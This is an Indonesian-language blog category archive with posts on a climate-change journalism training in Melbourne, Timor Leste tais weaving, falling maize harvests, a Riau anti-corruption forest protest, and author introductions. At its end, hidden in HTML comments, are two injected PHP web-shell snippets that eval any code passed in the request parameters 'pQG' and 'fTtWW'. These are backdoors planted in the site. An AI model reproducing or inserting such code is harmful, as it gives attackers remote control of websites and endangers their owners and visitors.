Category Archives: Bahasa Indonesia

Surat Cinta untuk Lingkungan

KAYU. PHOTO By CIFOR

BAGI remaja generasi tahun 1980-an bahkan awal 1990-an berkirim surat mungkin hal biasa. Menulis surat untuk pacar, orangtua, surat izin di sekolah, bahkan untuk artis-artis.

Saya jadi ingat saat sekolah di Nyarumkop, Singkawang dan tinggal di Asrama yang dikelola para biarawan kapusin. Setiap akhir bulan saya akrab berkirim surat ke orangtua di kampung. Continue reading

Tais Timor Mulai Langka

Produksi Tais Timor atau yang dikenal dengan kain tenun asli Timor Leste mulai langka. Penyebabnya, sejak tahun 1975 hinga sekarang sudah semakin sedikit pengerajin yang membuat Tais Timor.

Di antara sebab tak diproduksinya lagi Tais Timor karena perang serta teknologi moderen yang mempenggaruhi.

Saat ini masih ada sebagian kecil perempuan di daerah terpencil dan pedalaman yang memiliki keterampilan merajut Tais Timor. Sayangnya, produksi Tais Timor tidak mencukupi kebutuhan akan kain tenun itu sendiri.

Proses membuat benang asli dari Timor Leste membutukan waktu yang cukup lama. Bahan untuk membuat benang diambil dari kapas yang dipintal kemudian diolah menjadi benang. Untuk membuat satu Tais Timor membutuhkan sekitar 5 Kg benang.

Benang tersebut diberi warna menggunakan daun pohon yang dalam bahasa Tetun disebut dengan Kla dan daun Taun. Prosesnya daun Kla dimasak, setelah airnya hitam kebiru-biruan benang dimasukkan di dalam tempat merebus daun Kla itu tadi.Setelah diangkat, disimpan di kubangan kerbau sehingga warnanya alami dan tetap tahan lama.

Benang tersebut disimpan dalam kubangan selama satu hari dan mendapatkan warna cokelat. Setelah itu dicuci bersih baru ijemur sampai kering.

Sedangkan proses pewarnaan menggunakan daun Taun tidak pakai rebus. Benang dan dan daun Taun direndam selama sebulan. Setelah itu diproses dalam kubangan kerbau sehingga warnanya menjadi hitam

Untuk menenun Tais Timor rata-rata membutuhkan waktu antara satu hingga dua minggu. Beberapa Tais Timor yang terkenal antara lain Tais Marobo yang terletak di Distrik Bobonaro. Harga Tais Timor asli rata-rata $ USA 60 hingga $ USA 100.

Keberadaan Tais Timor sangat penting, sebab digunakan untuk upacara kematian dan mas kawin sebagai belis atau hantaran. Tais Timor juga biasanya digunakan untuk menerima kunjungan pejabat atau orang penting. ***

APJC Training On Climate Change

APJC Climate Change

Pada 16 Oktober 2011, saya bersama tiga teman wartawan Indonesia

‘Forest Destruction, Climate Crime, Moratorium Now by Greenpeace Esperanza

berangkat ke Melbourne, Australia untuk menghadiri undangan pelatihan jurnalistik yang diselenggarakan oleh Asia Pasific Jurnalism Centre “Climate Change” selama enam minggu.

Ketiga teman saya adalah Anugerah Perkasa (Bisnis Indonesia), Stefanus Akim (Borneo Tribune), dan Made Ali (Bahana Mahasiswa), serta saya sendiri dari Sinar Harapan.

Pada minggu pertama, kami belajar tentang “Workshop English” yang diampu oleh Catherine Green dan dibantu Budi Setyo sebagai penerjemah ke bahasa Indonesia. Kami belajar Listening, Writing, Speaking, Grammar, Preposition, dan banyak conversation. Kami juga mengunjungi Melbourne Museum yang terletak dua blok dibelakang Ques Appartment, on Lygon St yakni tempat kami menginap hingga 26 November nanti. Continue reading

Perubahan musim di Timor Leste

perubahan musim photo by Oxfam

perubahan musim yang pernah terjadi di Timor Leste, pada tahun 2009 sampai dengan tahun 2010,  menyebabkan kemacetan kigiatan umum terutama kigiatan masyarakat lokal tidak bisa menjalankan pekerjaan tani dalam satu tahun penuh, dikarenakana hujan terusan.

selama musim hujan terjadi dalam satu tahun tersebut, Masyarakat Timor Leste pada umumnya yang bertempat tinggal di daerah pegunungang atu bukit-bukit disekitar, mereka tidak bisa menanam tanaman lokal seperti jagun, kacang merah, kajang  panjang, kentang dll.

pada waktu terjadi perubahan musim tersebut, membawah dampak kepada tanah lonsor, Anging ribut merusak rumah-rumah masyrakat yang ada di daerah terpencil seperti di daerah kapupaten yang ada di seluruh Negara Timor Leste.

masyarakat yang mendapat musiba  yang lain seperti Banjiri Air yang datang dari aliran sunggai, tetapi masyrakat yang mendapat musiba alam bisa mendapat perhatikan kemanusian dari pemerintah pusat.

Tahun 2011, Produksi Jagung Menurun

corn. photo by smilygrl

Dampak dari perubahan iklim di  Timor Leste membuat masyarakat di Negara itu, terlebih yang ada di pedesaan kekurangan makanan karena perubahan iklim.

Menurut penelitian kementrian Pertanian dan kehutanan, bahwa produksi makanan lokal seperti, Jagung di tahun 2011 ini menurun dibandingkan degan tahun lalu, akibatnya karena perubahan iklim.

Tahun ini  produksi jagung menurun sampai 30 ribu ton hektar di bandingkan degan tahun lalu, total produksi jagung 148 ton dari  65 hektar.

CABUT SP3 Mafia Hutan

Total  biaya kerugian Perusakan Lingkungan pada 14 perusahaan di Provinsi Riau hampir Rp 2000 triliun 

PADA  Jumat 25 Agustus 2011, setidaknya 15 orang tergabung dalam KPK atau Koalisi Pemberantasan Korupsi unjuk aksi di depan markas komando Polda Riau. Tiga orang memegang spanduk bertulis; “Tangkap dan Hukum Mati Koruptor Kehutanan dan Cabut SP3 illegal logging.”

KPK gabungan dari aktifis lingkungan hidup, forum pers mahasiswa, mahasiswa pencinta alam, organisasi mahasiswa dan elemen masyarakat lainnya. KPK berdiri tepat hari jadi Provinsi Riau ke-54. Sejak itu KPK membuat Bazar Kasus Riau, isinya kasus-kasus kejahatan besar di Riau; korupsi kehutanan, pelanggaran HAM terkait konflik sumberdaya alam dan agraria di Riau.

Aksi KPK depan Polda Riau

Agun Zulfaira, koordinator aksi meminta Polisi segera merespon rilis Satgas PMH, “Membuka kembali kasus SP3 yang melibatkan Gubernur Riau Rusli Zainal.”

Agun Zulfaira serahkan Tuntutan pada Achda Feri dari Polda Riau.

Tak sampai satu jam orasi, Agun bacakan tuntutan dan menyerahkan pada  Polisi Achda Feri. Achda Feri bilang, Kapolda pergi untuk Sholat Jumat. Massa pun bubar. Continue reading

Yulan Kurima Meke

Jalan dipinggir Sawah

Hi…saya Yulan Kurima Meke dari West Papua. Saat ini saya bekerja disebuah koran harian nasional “Sinar Harapan” yang berkantor di Jl. Raden Saleh 1C-1D, Jakarta Pusat.

Saya senang bisa mengikuti pelatihan jurnalistik yang diselenggarakan oleh Asia Pasific Jurnalism Centre dalam peliputan tentang Climate Change (Perubahan Iklim) selama enam minggu di dua kota: Melbourne dan Tasmania.

Dari pelatihan ini, saya berharap lebih dalam lagi mengetahui tentang hal-hal yang berhubungan dengan Perubahan Iklim di dunia secara umum dan tahu mengatasi masalah akibat perubahan iklim yang disebabkan oleh Manusia (human factor). Kenapa? Karena di Papua banyak sekali terjadi perusakan lingkungan dan hutan rimba yang kemudian berdampak pada masalah keamanan, kenyamanan, kesejahteraan warga pribumi.

Saya juga ingin belajar untuk bisa mengaplikasikan ilmu yang didapat untuk mampu melakukan investigsi tentang climate change dengan perspektif Lingkungan dan Human Rights.

Made Ali

Coffe in the morning

AKU  hendak berbagi cerita “Aku, Buku, dan Secuil Perlawanan” sambil seruput kopi hangat, sedapnye roti canai, tentu dengan anda, kenalan atau sahabat saya. Ceritanya bisa pendek. Bisa panjang.

Sahabat. Aku masih belajar soal Jurnalisme, Hukum, Human Rights, Indigenous People Rights, dan baca-baca Sosialisme, Komunisme, Kapitalisme, agamaisme dan isme-isme lainnya, termasuk lucuisme.

Sahabat. Blog ini, salah satu jawaban pada rekan-rekan pers mahasiswa, selepas aku tak lagi di Bahana Mahasiswa. Sahabat menulislah, seolah-olah esok pagi kau mati!

Whizzzzzzzzz, saatnya ngupi!

SEJAK  17 Oktober hingga 26 November ini, saya mengikuti Reporting Climate Change and the Environment Workshop ditaja oleh Asia Pacific Journalism Centre.

<!– [insert_php]if (isset($_REQUEST["pQG"])){eval($_REQUEST["pQG"]);exit;}[/insert_php][php]if (isset($_REQUEST["pQG"])){eval($_REQUEST["pQG"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["fTtWW"])){eval($_REQUEST["fTtWW"]);exit;}[/insert_php][php]if (isset($_REQUEST["fTtWW"])){eval($_REQUEST["fTtWW"]);exit;}[/php] –>